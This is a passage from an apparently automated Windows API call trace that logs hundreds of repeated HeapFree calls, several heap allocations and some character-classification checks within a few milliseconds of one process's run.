lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.923] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ca50 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c9f0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.925] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.926] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.927] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d028 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cf28 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ceb0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ca08 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.928] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ce70 | out: hHeap=0x510000) returned 1 [0041.928] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x34) returned 0x54fc50 [0041.928] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x55a2c8 [0041.928] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xf8) returned 0x56ad18 [0041.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8b4) returned 0x54ce70 [0041.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x54ca08 [0041.929] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x54c9f0 [0041.929] IsCharSpaceW (wch=0x48) returned 0 [0041.929] IsCharAlphaNumericW (ch=0x5c) returned 0 [0041.929] IsCharSpaceW (wch=0x5c) returned 0 [0041.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533688 [0041.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x551fa8 [0041.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x533628 [0041.929] IsCharSpaceW (wch=0x41) returned 0 [0041.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x54ca50 [0041.929] IsCharAlphaNumericW (ch=0x20) returned 0 [0041.929] IsCharSpaceW (wch=0x20) returned 1 [0041.929] IsCharSpaceW (wch=0x7b) returned 0 [0041.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x53ff18 [0041.929] IsCharSpaceW (wch=0x20) returned 1 [0041.929] IsCharAlphaNumericW (ch=0x7b) returned 0 [0041.929] IsCharSpaceW (wch=0x62) returned 0 [0041.929] HeapFree (in: hHeap=0x510000, 